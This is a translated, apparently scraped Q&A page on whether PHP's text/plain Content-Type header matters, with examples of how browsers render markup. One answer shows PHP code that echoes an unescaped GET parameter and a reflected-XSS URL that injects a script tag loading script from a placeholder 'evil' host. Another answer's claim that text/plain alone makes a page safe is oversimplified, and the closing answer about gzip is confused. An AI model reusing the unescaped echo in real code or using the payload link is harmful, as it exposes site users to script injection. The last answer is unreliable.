繁体   English   中英

是 header('Content-Type:text/plain'); 有必要吗?

[英]Is header('Content-Type:text/plain'); necessary at all?

我还没有看到有或没有这个头部信息的任何区别。

定义“必要”。

如果您希望浏览器知道文件的类型,这是必要的。 如果您不覆盖它,PHP 会自动将Content-Type标头设置为text/html ,因此您的浏览器会将其视为不包含任何 HTML 的 HTML 文件。 如果您的输出包含任何 HTML,您会看到非常不同的结果。 如果您要发送:

<b><i>test</i></b>

Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=UTF-8将在浏览器中以粗体和斜体显示:

✅ 好的

Content-Type: text/plain; charset=UTF-8 Content-Type: text/plain; charset=UTF-8将在浏览器中显示如下:

<b><i>✅ OK</i></b>

TLDR 版本:如果你真的只输出纯文本,没有像<>这样的特殊字符,那么这并不重要,但这错误的。

PHP 使用 Content-Type text/html作为默认值,这与text/plain非常相似,这解释了为什么您看不到任何差异。

如果要按原样输出文本(包括<>符号),则需要text/plain content-type。

例子:

header("Content-Type: text/plain");
echo "<b>hello world</b>";
// Displays in the browser: <b>hello world</b>

header("Content-Type: text/html");
echo "<b>hello world</b>";
// Displays in the browser with bold font: hello world

告诉浏览器您发送的数据类型非常重要。 区别应该很明显。 尝试在浏览器中查看以下 PHP 文件的输出;

<?php
header('Content-Type:text/html; charset=UTF-8');
?>
<p>Hello</p>

你会看见:

你好

(请注意,如果您在这种情况下错过标题行,您将获得相同的结果 - text/html 是 php 的默认值)

将其更改为文本/纯文本

<?php
header('Content-Type:text/plain; charset=UTF-8');
?>
<p>Hello</p>

你会看见:

<p>你好</p>

为什么这很重要? 如果您在 php 脚本中有类似以下内容,例如,由 ajax 请求使用:

<?php
header('Content-Type:text/html; charset=UTF-8');
print "Your name is " . $_GET['name']

有人可以在他们的网站上放置一个链接,如http://example.com/test.php?name=%3Cscript%20src=%22http://example.com/eviljs%22%3E%3C/script%3E网站,如果用户点击它,他们就会将他们在您网站上的所有信息暴露给提供链接的任何人。 如果您将文件作为文本/纯文本提供,则您是安全的。

请注意,这是一个愚蠢的示例,攻击者更有可能将错误的脚本标记添加到数据库中的字段或使用表单提交。

设置 Content-Type 标头将影响 Web 浏览器处理您的内容的方式。 当大多数主流 Web 浏览器遇到 text/plain 的 Content-Type 时,它​​们将在浏览器窗口中呈现原始文本源(而不是在 HTML 中呈现的源)。 这就是看到的区别

<b>foo</b>

要么

此外,当使用XMLHttpRequest对象时,您的 Content-Type 标头将影响浏览器序列化返回结果的方式。 在采用 jQuery 和 Prototype 等 AJAX 框架之前,AJAX 响应的一个常见问题是 Content-Type 设置为 text/html 而不是 text/xml。 如果 Content-Type 为 text/plain,则可能会出现类似的问题。

假设您想用 204: No Content HTTP 状态回答请求。 Firefox 会在浏览器的控制台中抱怨“找不到元素”。 这是 Firefox 中的一个错误,多年来一直被报告但从未修复。 通过发送“Content-type: text/plain”标头,您可以防止 Firefox 中出现此错误。

不,它不是那样的,这里是支持我的答案的示例 ----> 明显的区别是可见的,当您使用 HTTP 压缩时,它允许您在从服务器到客户端传输时压缩数据以及类型这个数据会自动变成“gzip”,它告诉浏览器 bowser 得到了一个压缩的数据,它必须向上压缩它,这是一个 Type 在 Bowser 真正重要的例子。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM